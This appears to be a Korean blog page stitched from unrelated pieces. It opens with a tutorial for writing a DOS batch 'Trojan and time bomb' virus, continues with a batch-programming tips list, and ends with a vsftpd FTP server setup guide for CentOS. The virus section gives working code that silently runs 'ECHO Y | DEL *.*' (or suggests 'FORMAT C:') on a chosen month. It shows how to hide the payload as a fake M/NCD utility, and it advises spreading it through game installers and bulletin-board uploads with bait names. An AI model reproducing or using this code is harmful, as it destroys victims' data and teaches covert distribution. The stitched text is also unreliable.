배치파일의 장점이자 단점이기도 한것이 있다.스스로 완벽하게 작동하지 못한다는 것이다. 때문에 배치를 도와줄 유틸리티가 필요하게 되었다. 사실 C,PASCAL  로 바이러스를 만들어도 어셈블리어로  제작된 유틸리티가 필요한거 보면 대동소이 하지만.........
도스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개되었기에 우린 단지 그것을 찾아서 이용만 하면 된다.
위 프로그램의 맨 첫째줄에 쓰인것이 바로 이것이다.
배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다.
외부의 GETMONTH.COM 을 파일명을 바꾸셔서 써도 되지만 이때는 반드시 배치에서도 바꾸어주셔야 한다.

자, 이것을 실행하면 현재 시스템의 월을 표시해준다.
이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분, 즉. 시스템상태감식 프로그램이다.
폭탄으로 말하면 뇌관정도로 비유될까?

이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자.
아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다.

@echo off
if "%1"=="/?" goto help
cd\
dir %1 /s/p/w/l/o:n
goto end
:help
echo
echo Usage : filefind [filename]
echo
:end

이제 위의 둘을 합친 모습을 보자!

@ECHO OFF

GETMONTH.COM     <= 시스템 "월" 체크 유틸리티  . 파일명 변경해도 됨-체크할것
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO FF
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO FF
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO FF
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO FF
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO FF
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO FF
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO FF
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO FF
REM  아래부분은 바이러스 코드이다.
:VIRUS
echo   VIRUS !!  BOMB!!
ECHO Y | DEL *.* > nul              <= 중요한 명령
REM  아래 부분은 파일찾기 프로그램 코드이다.
:FF
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd\
dir %1 /s/p/w/l/o:n
goto end
echo
echo Usage : filefind [filename]
echo
:end


자 이제 자세히 설명해보자.
임의로 체크를 3월달로 맞추어 놓았다.
자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다.
GETMONTH 말고 시간,일자 등으로 얼마든지 변경이 가능하다.
처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따라 정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이  되면 GOTO 분기에 의해 바이러스 코드 부분을 실행한다.
이 바이러스 코드부분에는  여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있다.
이줄    ECHO Y | DEL *.*  은 모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO  를 임의로 YES로 지정하기 위해 들어간 줄이다.
이렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜 버리니 소잃고 외양간도 못고치는 격이다.

다른 예로,  ECHO Y | FORMAT C:  라고 할수도 있다.
ECHO 다음에 N 으로 하면 절대 포맷이 안된다.
그리고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다.
자신의 응용가능 여하에따라 얼마든지 변경이 가능하다.
단, 되도록이면 이렇게 한번에 하는것보다는  확장자만 골라서 집중적으로 파괴하는 것이 더 효과적이다.
왜냐면, 이런  방식으로 하다간  가끔 시스템이 다운되거나  무한루프에 빠질수도있으니깐.....

만약 자신이 어떤 프로그램이나  게임등에 이런 바이러스 코드를 첨가시켜  전파시키는 방법도 있다.

방법은, 유명게임이나 유명  유틸리티 등에 자신이 직접  인스톨 프로그램을 작성하여 첨가시키는 것이다.

예) 간단한  인스톨 프로그램   ( 프로그램은  C:\PR\PROG.ARJ 로 되어있다고  치자.)

1) 첫번째 필요한 소스

INSTALL.BAT    <= 컴파일시켜 실행파일로 만들면 된다.

@ECHO OFF

ARJ   X  PROG.ARJ   <= COPY 나 다른것으로 바꿔도 된다.
REM     아래 부분부터 숨겨서 침투시키는 내용
ATTRIB  +R +H M.COM    <= 이러면 숨긴다.
COPY M.COM C:\.   <= 루트디렉토리에 숨긴다.
^Z


일단은 디렉토리에 풀릴것이다.


아래것은 저번 시간에 공부한 조건형태의 한 형태이다.
이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건시에 작동하도록 해보자.

2) 두번째 필요한 소스

M.BAT  나 NCD.BAT  <= 컴파일시켜 M.COM or NCD.COM 으로한다.

@ECHO OFF

GETMONTH.COM    <= 시스템 "월" 체크 유틸리티 .  대체 가능
IF ERRORLEVEL 12 IF NOT ERRORLEVEL  13 GOTO M  이나 NCD 로 위장한다.
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO M
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO M
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO M
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO M
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO M
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO M
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO M
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO M
:VIRUS
REN  C:\PR\XXX.DAT XXX.COM  <= 예전에 인스톨해놓았던 C:\PR\ 디렉토리에
                                                       숨겨진파일을 다시 꺼내서 실행하게끔 한다.
DEL XXX.COM   <= 자체파괴
DEL M.COM    <= 자체파괴  / 파일명 변경가능하다.
:M
M.EXE     나    NCD.EXE
:END

왜 NCD.COM 이나 M.COM 으로 하냐면,전에 항상 실행파일은  COM  -> EXE -> BAT 순서라고 했죠?
NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항상 따라온다.
이거 안쓰는 사람있음 나와보라구해~~
AUTOEXEC.BAT 는 매일 자동실행되는법~~
그래서, 이렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 파일명이 같으니 대개 그냥 넘어가버린다.
실행해봤자 3월이 되기전이라면 바로 M.EXE 로 넘겨 버리니까 절대 안걸릴것이다.


3) 세번째 소스

세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다.

이방법이 약간 복잡할수있다.
만약, 상대가 전달받은 프로그램을 곧 지워버릴수 있을것이다.
그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 파일을 아에 첨부터 루트에 카피해놓으셔도 무방하다. 전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐.......

*좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다.


배치파일 제작 바이러스 후기

이렇게 배치파일로 제작된 트로이목마  & 시한폭탄 형 바이러스는 절대로 V3 나 TB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!!
대부분의 백신들은 어셈블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할 때 잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하기 때문이다. 즉, 약이 없다.
일일이 에디트로 뜯어보기전에는 모를 것이다. 하지만 전파력이 약하다는것이 단점이라고 하겠다.
그러나 원래 트로이목마 바이러스 라는게 불특정 다수의 전파보다는 특정한 하나의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다.

간단한 형태로 SEX.COM  이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋을것이다.
파일명 저런데 실행안해볼 사람은 없기 때문이다. 판도라의 상자일 것이다.

사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는것이다.

위에 열거한 각종  테크닉을 이용한다면 강력한 트로이목마형 바이러스를 초보자들도 쉽게 제작할 수 있을 것이다. 기존의 프로그래밍 언어가 상당  수준 까지 오르는데 많이 시간이 필요한반면 배치 프로그래밍은 짧은 시간내에 학습이 가능하고 적용이 쉽다는 장점이있다.

 참고자료

다음은 배치 프로그래밍의 대가인 티모 살미 교수가 정리한 것입니다.
아주 유용한 테크닉들이 들어있습니다.

1.  "@echo off"를 일반적으로 사용하기
====================================
화면에 명령어들이 표시되지 않게 echo off 하고, 그 라인도  화면에 표시 되지 않게 하기 위해서 다음과 같이 하면 된다.
 @echo off
이 것은 MsDos 3.30 이후 버전에서만 작동한다.  이것을  일반적으로 사용하게 하기 위해서 3.30이상의 MsDos를 사용한다면  autoexec.bat 안에 다음과 같이 적어 놓는다.
 set _echo=@
그리고 배치파일에서 다음과 같이 사용한다면 어느 버전의 MsDos버전에서도 작동한다.
 %_echo%echo off

2.  모든 파일을 지우기
=====================
가장 흔하게 질문되는 것(FAQ)중의 하나는 del *.*  을  사용껦 때,"Are you sure (Y/N)?" 라는 확인을 어떻게 하면 나타나지 않게 하는것이다. 다음과 같이 사용한다.
 echo y| del *.*
화면에 나타나는 메세지도 보이지 않게 하려면 다음과 같이 한다.
 echo y| del *.* > nul
이러한 확인 절차를 표시하지 않게 하는 것은 토론의 여지가 많지만,위와 같이 사용할 수 있다.

3.  다중 반복
============
배치파일에서 다중 루프(반복)를 사용하는 것이 가능하다. 다음의 두배치파일을 생각해 보자. 그리고 test.bat을 불러 실행시켜 보자.
  echo off
  rem TEST.BAT
  for %%f in (a b c d e f) do %comspec% /c test2 %%f

  echo off
  rem TEST2.BAT
  for %%g in (1 2 3) do echo %1%%g
아니면 한줄로 다음과 같이 써서 사용할 수도 있다.
  for %%f in(a b c d e f) do %comspec% /c for %%g in (1 2 3)  do echo %%f%%g
 이 두번째 방법의 단점은 echo가  화면에 표시된다는 것이다.

4.  디렉토리가 존재하는지 확인하는 방법
======================================
디렉토리가 있는지 확인하는 것은 가끔 매우 쓸모있는 일이다.  %1의 디렉토리가 없다면 다음 확인은 참이 될것이다.
 if not exist %1\nul if not exiat %1nul echo Directory  %1  does not exist

5.  프로그램을 현디렉토리나 경로에서 사용할 수 있는지 확인하기
=============================================================
배치 프로그램에서 프로그램을 불러서 사용할때, 그 파일에 대한  경로를 써주지 않았을 경우, 그 프로그램이 현재의 디렉토리나  경로에서 사용가능한지 확인할 때 도움이 될 것이다.
  set _found=
  if exist %1 set _found=yes
  for %%d in (%path%) do if exist %%d\%1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  if "%_found%"=="yes" goto _continue
  echo %1 is not at path or the current directory
  goto _out
  :_continue
  echo %1 found at path or in the current directory
  :_out

6.  배치파일에서 서브루틴이나 재귀적방법을 사용하기
==================================================
배치파일 안에서 서브루틴을 사용하는 것은 가능하다. 방법은 서브루틴이 실행된  뒤에  돌아가야할  곳을  가르키는  환경변수(예를들면_return)를 설정하는 것이다. 이런 예는 UNPACK.BAT 이나 BOOT.BAT의:_common 과 :_subru 부분에서 찾아 볼 수 있다.
마찬가지로 재귀적인 사용이 가능하다. ("재귀적인  방법"의  의미는 한  배치파일이  자기  자신을  불러  사용하는  것이다.)  이  예는 SAFEDEL.BAT에서 아래의 행을 따라 찾아 보면 된다.
 for %%f in (%1) do call safedel %%f recurse
배치파일의 0번째 인수(%0)는 배치파일 자신을 나타내므로,  safedel은 %0으로 대치 되어 사용할 수도 있다.

7.  매개 인수(parameter)를 대문자로 바꾸기.
=========================================
다음은 배치파일에 사용한 인수 %1 를 대문자로 바꾸어 주는  예제이다. 이는 MsDos는 path를 대문자로 바꾼다는 점을 이용한 것이다. 결과는 upcase_에 저장될 것이고, 원래의 경로가 다시 저장될 것이다.
  set tmp_=%path%
  path=%1
  set upcase_=%path%
  path=%tmp_%

8.  새로운 디렉토리를 경로에 붙이기
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자주 필요한 이 기술은 매우 간단하다. 예를 들어 %1를 경로에  덧붙이려면
 path=%path%;%1
이라고 하면된다.
이 기술은 배치파일 안에서만 사용할 수 있다. 배치파일 안에서만 환경변수(%path%)를 사용할 수 있기 때문이다. 존재하지 않는 디렉토리를 덧붙이려한다거나 중복해서 경로를 덧붙이는 것을 방지하는 ADDPATH.BAT이라는 배치파일이 있다.

9.  두 파일을 비교하기
=====================
배치파일에서 두 파일이 같은지 아닌지 확인해 볼 수 있다. 이  기술은 MsDos의 외부 명령어인 fc.exe와 find.exe를 사용한다. (외부  명령어라는 뜻은 MsDos와 같이 있는 프로그램들이다. 대부분의 외부 명
령어용 프로그램들은 c:\dos 에 위치한다.)
  fc %1 %2 > tmp$$$
  type tmp$$$ | find  /i  "fc:  no  differences  encountered"  >diffe$$$
  if exist notsame$ del notsame$$$
  copy diffe$$$ notsame$ > nul
  if not exist notsame$ echo Files %1 and %2 are different
  if exist notsame$ echo Files %1 and %2 are identical
  if exist tmp$$$ del tmp$$$
  if exist notsame$ del notsame$
  if exist diffe$$$ del diffe$$$
좀더 생각하면 이 기술은 다른 목적에도 사용할 수 있다. 이는  파일안에 주어진 문자열이 있는지 확인 하는데 바탕을 두고 있기  때문이다.

10.  빈줄을 쓰기
===============
이는 간단하지만 종종 필요하고 유용한 기술이다. echo 바로  다음에점(.)을 찍으면 빈줄을 표시할 수 있다.
  echo.

11.  pause를 이용해 메세지를 표시하기
====================================
메세지를 손쉽게 나타나게 할 수 있다. 메세지를 echo한 다음  pause 를 사용하는데, pause의 메세지를 nul로 보내면 된다.
 echo Break to quit, any other key to remove the tmp directory
 pause > nul

12. for를 이용한 다양한 rename 기술 
===================================
이 기술이 기본적이고 사소하지만, 이를 생각해 내기란 쉽지 않을 것이다. for 문은 파일의 이름을 바꾸는데 특별히 유용하다.  예를  들면, 내가 다음의 파일들을 가지고 있을 때, (터보  파스칼  TP  4.0,
5.0, 5.5, 6.0) 내가 버전 29를 30으로 바꾸기 원한다고 할때,
  tspa2940.zip
  tspa2950.zip
  tspa2955.zip
  tspa2960.zip
다음은 손쉽게 그런 일을 해준다.
 for %f in (40 50 55 60) do re tspa29%f.zip tspa30%f.zip
물론 파일이름 바꾸는 일 말고도 이 기술로 다양한 일을 할 수 있다.
하나의 예는 다음과 같다.
  for %d in (a b) do format %d:

13.  와일드카드를 확인하기
=========================
이 예제는 인수 %1이 와일드 카드를 사용하고 있는지 아닌지  확인한다.
  @echo off
  for %%f in (%1) do if "%%f"=="%1" goto _nowilds
  echo Parameter %1 contains wildcards (or is missing)
  :_nowilds

14.  배치 작업을 중간에 그만두지 못하게 하기
===========================================
ctty 명령어를 사용해서 입력장치나 출력장치를 새로 설정하여  배치파일을 중단시키는 것을 방지할 수 있다. 여기의 예제는  패스워드로 e를 넣어야 하는 간단한 배치파일이다. 
ctty가  nul로  돌려진  동안<,>의 리디렉션이 필요한 것을 눈여겨 보라. ask라는 배치파일을  돕
기 위한 프로그램은 같이 포함되어 있다. ( MsDos의 choice와 비슷하다. 단, 에러 레벨을 입력한 문자의 아스키 값으로 돌리는 것만 틀리다.)
  @echo off
  ctty nul
  echo Now you cannot break the batch with ^C or ^Break > con
  :_ask
  echo Use e to break > con
  ask /b /d < con
  if errorlevel==101 if not errorlevel==102 goto _out
  goto _ask
  :_out
  ctty con
  echo Back to normal. Now you can break the batch  with  ^C  or
^Break.
이 배치파일이 작동되고 있는 동안에는 alt-crtl-del로  다시 부팅할수도 없다. 이 같은 일을 하는 noboot.exe라는 램상주 프로그램도 있다.

15.  autoexec.bat를 중지하고 건너뛰는 것을 방지하기
==================================================
브레이크를 눌러 autoexec.bat를 건너 뛰어 지나치지 않게 하기 위해서 다음과 같이 config.sys에 쓰면 된다.
  shell=c:\command.com /p nul
이렇게 하기 전에 만일의 경우를 대비해서 플로피 디스켓으로 부팅할준비를  해둔다. autoexec.bat 맨 뒷줄에 'ctty con'이라고 덧  붙여야 된다. 그렇게 하지 않으면 키보드가 말을 듣지 않을 것이고, 준비한 플로피 디스켓으로 부팅해야 할 것이다 :-).

16.  확장자를 인식하기
=====================
단지 확장자를 확인하려던가, 주어진 파일의 이름에서 확장자를 환경변수로 저장하려고 할때, 이 것은 매우 유용하다. 어떻게 하는지  여기에 있다. 이 배치파일은 PC-Magazine July 1992, Vol 11, No.  13,
page 528에 나온  정보를 이용한 것이다. for 루프에서  슬레시(/)로 시작하는 인수는 두 부분으로 나누어지는데, 처음 부분은 인수의  첫문자이고 다른 부분은 나머지 문자열이다.
이 해결방법에서 하나의 문제점은 .* 이라던가 .???  이란  확장자를 인식하지 못하는 것이다. 그러나 "와일드카드를 확인하기"를  이용해서 확인하면 될 것이다. 이러한 기술을 이용한 것중에  UNPACK.BAT라
는 배치파일이 있다.
     @echo off
     set exten_=%1
     :_next
     set prev_=%exten_%
     for %%f in (/%exten_%) do set exten_=%%f
     if ".%exten_%"=="%prev_%" goto _extfound
     if not "%exten_%"=="%prev_%" goto _next
     goto _noext
     :_extfound
     echo The filename %1 has an extension %exten_%
     goto _out
     :_noext
     echo The filename %1 has no extension
     :_out
     set exten_=
     set prev_=

17.  % 문자 인용부호
===================

%1은 배치파일에 주어진 첫번째 인수를 가르킨다. 이처럼 'echo  %1'이라고 하면 첫번째 인수를 표시해 준다. 대신에 %1라는 문자를 표시하고 싶은 경우 어떻게 해야하는가?  % 문자는 인용부호처럼  행동한다. 그래서 %%1이라고 쓴 경우 실제로는 "%1"이라고  화면에  표시된다. 아래의 간단한 연습을 실행해보라.
  @echo off
  if "%1"=="" goto _out
  echo %1
  echo %%1
  :_out
이 기능을 이용한 것은 "배치의 보조 배치파일을 없애기"를  보아라.
좋은 예로는 DELPATH.BAT가 있다.

18.  배치의 보조 배치파일을 없애기
=================================
많은 배치 프로그램이 call을 사용해서 보조 배치파일을  불러다  쓴다. 많은 경우 이런 일을 재귀적인 사용을 통해 자기 자신을  불러다씀으로써  보조 파일을 사용하는 것을 줄일 수 있다. 보조코드는  배치파일 자기자신에 넣어 놓는다. 이러한 기술은 와일드 카드를  받아들이는 TYPE 같은 SHOW.BAT 에서 가장 잘 나타나 있다. 일반적으로는 개개의 파일을 type하기 위해서  보조파일이  필요하다.  다른  예는
SAFEDEL.BAT에서 찾아볼수있다.
이와 같은 일을 하기 위한 다른 기술이 있다. 원래의 배치파일이  보조 배치파일을 만든 다음 그것을 불러 사용하는 것이다. 이런 것으로는 DELPATH.BAT의 예를 들 수 있다. 여기에는  사용되는  드라이브를
보여주는 간단한 예가 있다. (c 부터 t 까지 가능하다. 여기선 더 쓰면 줄이 넘어가니까!)
 @echo off
 echo @echo off> tmp$$$.bat
 echo if exist %%1:\nul echo Drive %%1: is present>> tmp$$$.bat
 for %%d in (c d e f g h i j k l m n o p q r s t) do call tmp$$$
%%d
 del tmp$$$.bat
디스크의 볼륨  레이블을  찾아내는  창의적인  기교가  PC-Magazine August 1992, Vol. 11, No. 14, p. 527에 실렸다. 여기는 같은  기술을 사용하는  예가 있다. 환경변수 getdir_에 현재의 디렉토리를  저장한다. 이 기술은 PUSHDIRE.BAT에 사용되고 있다.
  @echo off
  echo @echo off> director.bat
  echo set getdir_=%%2>> director.bat
  echo echo %%getdir_%%>> director.bat
  dir | find "Directory"> go.bat
  call go
  if exist director.bat del director.bat
  if exist go.bat del go.bat

19.  subst 명령어를 경로에 사용하기
==================================
어떤 디렉토리를 읽기 쉽게 하기 위해서 간단한  배치파일을  사용한다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를  방지한다. 그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
  @echo off
  if exist m:\nul echo The substitution has already been made
  if not exist m:\nul subst m: c:\math
  if not exist s:\nul subst s: c:\support
  subst

20.  일주일에 한번 실행하기. (요일을 확인하기)
=============================================
요일을  환경변수에  넣는  것은  어려운  기술이다.  완전한   예는 WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와  있는데, 요일을 weekday_라는 환경변수에 저장하는 것이다. 일반 도스 프로그램 외에 아무런 보조 프로그램이 필요없다.
  @echo off
  echo.| date | find "Current" > tmp$$$.bat
  echo set weekday_=%%3> current.bat
  call tmp$$$
  echo %weekday_%
  if "%weekday_%"=="Fri" echo Thank God it's Friday
  if exist tmp$$$.bat del tmp$$$.bat
  if exist current.bat del current.bat
  set weekday_=
사실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를  확인할  수 있다.

21.  파일이름에 경로가 포함되었는지 확인하기
===========================================
우선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알  수 있다. 파일이름이 단순히 go.exe 로 이루어 졌는지,  아니면  경로를 포함해서 r:\progs\go.exe와  같이  이루어  졌는지  확인하는  것은 r:\progs\*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다면 확실히  배치 파일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
  @echo off
  echo @echo off> tmp$$$.bat
  echo set rest_=%%1>> tmp$$$.bat
  echo :_next>> tmp$$$.bat
  echo set prev_=%%rest_%%>> tmp$$$.bat
  echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
  echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if "\%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
  echo goto _nopath>> tmp$$$.bat
  echo :_found>> tmp$$              at
  echo set haspath_=yes>> tmp$$$.bat
  echo goto _out>> tmp$$$.bat
  echo :_nopath>> tmp$$$.bat
  echo set haspath_=no>> tmp$$$.bat
  echo :_out>> tmp$$$.bat
  echo set rest_=>> tmp$$$.bat
  echo set prev_=>> tmp$$$.bat
  for %%f in (%1) do call tmp$$$ %%f
  if "%haspath_%"=="yes" echo Filename %1 includes a path
  if "%haspath_%"=="no" echo Filename %1 does not include a path
  rem if exist tmp$$$.bat del tmp$$$.bat
  set haspath_=

22.  엔터키를 누르지 않고 시간을 보기
====================================
현재의 시간을 보는 간단한 기술은 다음과 같다.
  echo.| time | find /v "new"
시간을 환경변수로 저장하는 방법은 LASTBOOT.BAT을 보아라.

23. 에러레벨 값을 확인하는 다른 방법
====================================
많은 프로그램과 몇개의 도스명령어들( diskcomp, format,  xcopy)은끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누적적인 성질  때문에 에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약  에러레벨이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
 if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명령어를 사용하는 다른 방법으로 다음을 들수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일반적으로 다음과 같이 할 수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel %_errlev%
복잡한 배치파일에서 편리한 방법은 goto를 사용하는 것이다.
  for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
  goto _out
  :_label0
  echo Errorlevel 0
  :_label1
  echo Errorlevel 1
  :_label2
  echo Errorlevel 2
  :_out
이 기술을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.

24.  배치파일의 출력을 리디렉션(redirection)하기
===============================================
배치파일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있다. 다음과 같은 example.bat 이라는 배치파일을 생각해보자.
  @echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 파일을 생성 할 것이다.
  This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에  포함하고  있다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는  것이  현명할때가 있다.
배치파일이 만드는 출력을 다시 재 방향전환(redirection)하는  것은 다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해  보자.
  @echo This is another redirection test
실행하면,
  example2 > test
출력은 화면에 나오고, 빈 test라는 파일이 생성될  것이다.  출력을 재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석기를 통해서 배치파일을 실행해야 한다.( command.com은  현디렉토리나 경로에 있어야 한다.)
  command /c example2 > test
이와 같이 하면 내용이 "test"라는 파일에 담길 것이다.

25.  환경저장 공간이 충분한지 확인하기
=====================================
만약 배치파일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을  설정해서 환경저장 공간을 늘릴 수 있다.
  shell=c:\bin\command.com c:\bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한다.
 @echo off
 set test_=12345678901234567890123456789012
 if "%test_%"=="12345678901234567890123456789012" goto _yes
 echo Insufficient environment space
 goto _out
 :_yes
 echo Sufficient environment space
 set test_=
 rem Whatever you wish to do
 :_out

26.  드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면 된다. 예는 아래와 같다.
  @echo off
  md c:\none
  subst d: c:\none
다시 사용하게 하려면,
  @echo off
  subst d: /d
  rd c:\none

27. 프린터에 escape 명령어를 보내기
===================================
여기 정말  사소한  기술이  있다.  명령행에서  곧바로  프린터에게 escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치파일을 이용하면 간단하다.
  @echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지 결점은 라인피드를 보내는 것이다.

28.  무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있었다.  대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
  @echo off
  echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
  echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
  echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
  echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
  echo 50 close #2 >> tmp.bas
  echo 60 system >> tmp.bas
  gwbasic tmp.bas
  call tmp2
  del tmp.bas
  del tmp2.bat
  set

29.  문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue 에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과  근본적으로 같지만, 더 일반적이다.
  @echo off
  set test_=Testing the lenght of a string
  echo %test_% > len$&$&$
  dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
  echo @echo off> len$&$&$.bat
  echo set length_=%%                 len$&$&$.bat
  call go$$$
  echo The lenght is %length_% bytes
  del len$&$&$
  del len$&$&$.bat
  del go$$$.bat

30.  MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치파일로만 버전을 알아낼  수있다.
여기에 다른 방법이 있다.
  @echo off
  ver > go$$$.bat
  echo @echo off> ms-dos.bat
  echo set version_=%%2>> ms-dos.bat
  call go$$$
  echo Your MsDos version is %version_%
  del go$$$.bat
  del ms-dos.bat


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출처 : http://blog.naver.com/PostView.nhn?blogId=haengro&logNo=40138067356



프로젝트를 진행하며 문서를 공유하기위해 파일서버를 찾다가 CentOS가 설치되어있는 서버에 FTP서버를 설치하기로 결정


인터넷을 검색해가며 해보니 그리 어렵진 않았지만 나중을 위해 정리해보기로 한다.


1. vsftpd 설치 : Linux에서 사용하는 FTP서버데몬

설치명령은 아래와 같다. (별도로 관련파일 복사없이 그냥 명령어만 치니까 설치가 되더라.

참고로 홈페이지는 https://security.appspot.com/vsftpd.html )

# yum install vsftpd


2. 환경파일 설정

# vi /etc/vsftpd/vsftpd.conf

anoymous_enable=NO //익명으로 접속시 NO

pasv_enable=YES //엑티브모드로 사용할 시 NO


vsftp passive mode 설정하는 방법입니다.

# vi /etc/sysconfig/iptables-config

위 파일을 열고 3번째 라인을 보면

IPTABLES_MODULES="ip_conntrack_netbios_ns"


라고 있는 부분을

IPTABLES_MODULES="ip_conntrack_netbios_ns ip_conntrack_ftp"


라고 추가해 줍니다.

그리고 vsftp서버를 재시작 합니다.

# service iptables restart


3. FTP용 계정생성

# user add 계정명

# passwd 계정명


4. 방화벽 설정 : iptables에 20, 21번 포트를 등록해준다.

# vi /etc/sysconfig/iptables


////////////////아래의 내용 추가

-A INPUT -m state --state NEW -m tcp -p tcp --dport 20 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT


//iptable재기동

# service iptables restart


5. FTP서버기동

# service vsftpd start (종료 : stop, 재기동 : restart)


부팅시 FTP자동실행 설정

chkconfig --level 2345 vsftpd on


7. 프로세스 확인 및 포트확인

# ps -ef | grep vsftpd

# netstat -ntlp


참조 : http://blog.naver.com/newkyh00?Redirect=Log&logNo=30111155337


======= 기타 오류 및 정보확인

1. 500 OOPS: could not open chroot() list file:/etc/vsftpd/chroot_list

참조 : http://uiandwe.tistory.com/160

vi /etc/vsftpd/chroot_list
FTP 로그인할 계정을 등록


2. ftp: connect: No route to host

참조 : http://vstu77.blog.me/120050132415

리눅스에서 ftp를 사용할 때에 ftp: connect: No route to host

라는 메시지가 나올 때가 있다.

